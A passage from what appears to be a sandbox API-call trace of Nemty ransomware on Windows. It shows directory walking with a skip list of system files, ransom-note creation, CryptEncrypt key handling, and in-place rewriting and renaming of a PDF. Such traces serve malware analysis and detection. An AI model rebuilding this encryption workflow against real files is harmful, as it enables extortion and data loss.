lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.276] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.277] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.277] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.277] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0171.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.277] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19b69a10, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19b69a10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19b69a10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0171.277] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0171.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.277] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.277] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a50d20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="CZE", cAlternateFileName="")) returned 1 [0171.277] lstrcmpiW (lpString1="CZE", lpString2=".") returned 1 [0171.277] lstrcmpiW (lpString1="CZE", lpString2="..") returned 1 [0171.277] lstrcmpiW (lpString1="CZE", lpString2="...") returned 1 [0171.277] lstrcmpiW (lpString1="CZE", lpString2="windows") returned -1 [0171.277] lstrcmpiW (lpString1="CZE", lpString2="$RECYCLE.BIN") returned 1 [0171.277] lstrcmpiW (lpString1="CZE", lpString2="rsa") returned -1 [0171.277] lstrcmpiW (lpString1="CZE", lpString2="NTDETECT.COM") returned -1 [0171.277] lstrcmpiW (lpString1="CZE", lpString2="ntldr") returned -1 [0171.277] lstrcmpiW (lpString1="CZE", lpString2="MSDOS.SYS") returned -1 [0171.277] lstrcmpiW (lpString1="CZE", lpString2="IO.SYS") returned -1 [0171.277] lstrcmpiW (lpString1="CZE", lpString2="boot.ini") returned 1 [0171.277] lstrcmpiW (lpString1="CZE", lpString2="boot.ini") returned 1 [0171.277] lstrcmpiW (lpString1="CZE", lpString2="AUTOEXEC.BAT") returned 1 [0171.277] lstrcmpiW (lpString1="CZE", lpString2="ntuser.dat") returned -1 [0171.277] lstrcmpiW (lpString1="CZE", lpString2="desktop.ini") returned -1 [0171.277] lstrcmpiW (lpString1="CZE", lpString2="CONFIG.SYS") returned 1 [0171.277] lstrcmpiW (lpString1="CZE", lpString2="RECYCLER") returned -1 [0171.277] lstrcmpiW (lpString1="CZE", lpString2="BOOTSECT.BAK") returned 1 [0171.278] lstrcmpiW (lpString1="CZE", lpString2="bootmgr") returned 1 [0171.278] lstrcmpiW (lpString1="CZE", lpString2="programdata") returned -1 [0171.278] lstrcmpiW (lpString1="CZE", lpString2="appdata") returned 1 [0171.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CZE", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CZE", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CZE", lpUsedDefaultChar=0x0) returned 3 [0171.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CZE", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.278] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CZE", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CZE", lpUsedDefaultChar=0x0) returned 3 [0171.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0171.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63400d0 [0171.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.278] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.278] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0171.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.278] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.279] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.279] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0171.280] CloseHandle (hObject=0x254) returned 1 [0171.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0171.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.280] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.281] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.281] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0171.282] CloseHandle (hObject=0x254) returned 1 [0171.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.282] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19bb5cd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19bb5cd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0171.282] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0171.282] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x19bb5cd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19bb5cd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.282] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0171.282] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0171.282] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a50d20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16057, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0171.282] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0171.282] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0171.283] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0171.283] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0171.283] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.283] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0171.283] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="NTDETECT.COM") returned -1 [0171.283] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntldr") returned -1 [0171.283] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="MSDOS.SYS") returned -1 [0171.283] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="IO.SYS") returned -1 [0171.283] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.283] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="boot.ini") returned -1 [0171.283] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="AUTOEXEC.BAT") returned -1 [0171.283] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="ntuser.dat") returned -1 [0171.283] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="desktop.ini") returned -1 [0171.283] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="CONFIG.SYS") returned -1 [0171.283] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="RECYCLER") returned -1 [0171.283] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="BOOTSECT.BAK") returned -1 [0171.283] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="bootmgr") returned -1 [0171.283] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="programdata") returned -1 [0171.283] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="appdata") returned -1 [0171.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0171.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.283] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0171.284] Sleep (dwMilliseconds=0x5) [0171.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19bdbe30, dwHighDateTime=0x1d561e8)) [0171.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19bdbe30, dwHighDateTime=0x1d561e8)) [0171.286] GetLastError () returned 0xb7 [0171.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.286] GetLastError () returned 0xb7 [0171.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.286] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.286] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.286] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0171.286] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="oX6uov2mvgiEfkWr+dyCeS6lNmw0ANPy4kk2hIohwyOEcFScvWQuA0D6zChJOa3q\r\niSKt+olnx2qfjLNNQmgIklcfENpcioGO7DsAvg11SuBUxmsqdE9zRVTcE4wOL7NC\r\ndgqJIWqIR0JbrOPiLCh9i2YiyIhgq74CJ/4UkevcMB4h7ydfCQ+azrUYi83BV4gJ\r\nCl+hznFatr447B1yIafwUWpcH30o2cpuF2WjrCtqbo8KfdwoCf8jEDqYyNGO2BnV\r\nsGFxcqCJHS3wzaF1ghYbW386q/YMM+LZrIQUf3rAYCOzRwXN1tk1xCU0EsTNQ5SD\r\nKuki065ZnFmM2x0BTUgVuw==\r\n", pcchString=0x653e5dc) returned 1 [0171.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0171.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.286] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.287] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=90199) returned 1 [0171.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x16050) returned 0x6352c48 [0171.287] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.287] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x16050, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x16050, lpOverlapped=0x0) returned 1 [0171.294] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.295] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x16050, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x16050, lpOverlapped=0x0) returned 1 [0171.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.295] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=90199, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x16057 [0171.295] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.295] CloseHandle (hObject=0x3b0) returned 1 [0171.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.295] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0171.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0171.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.295] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 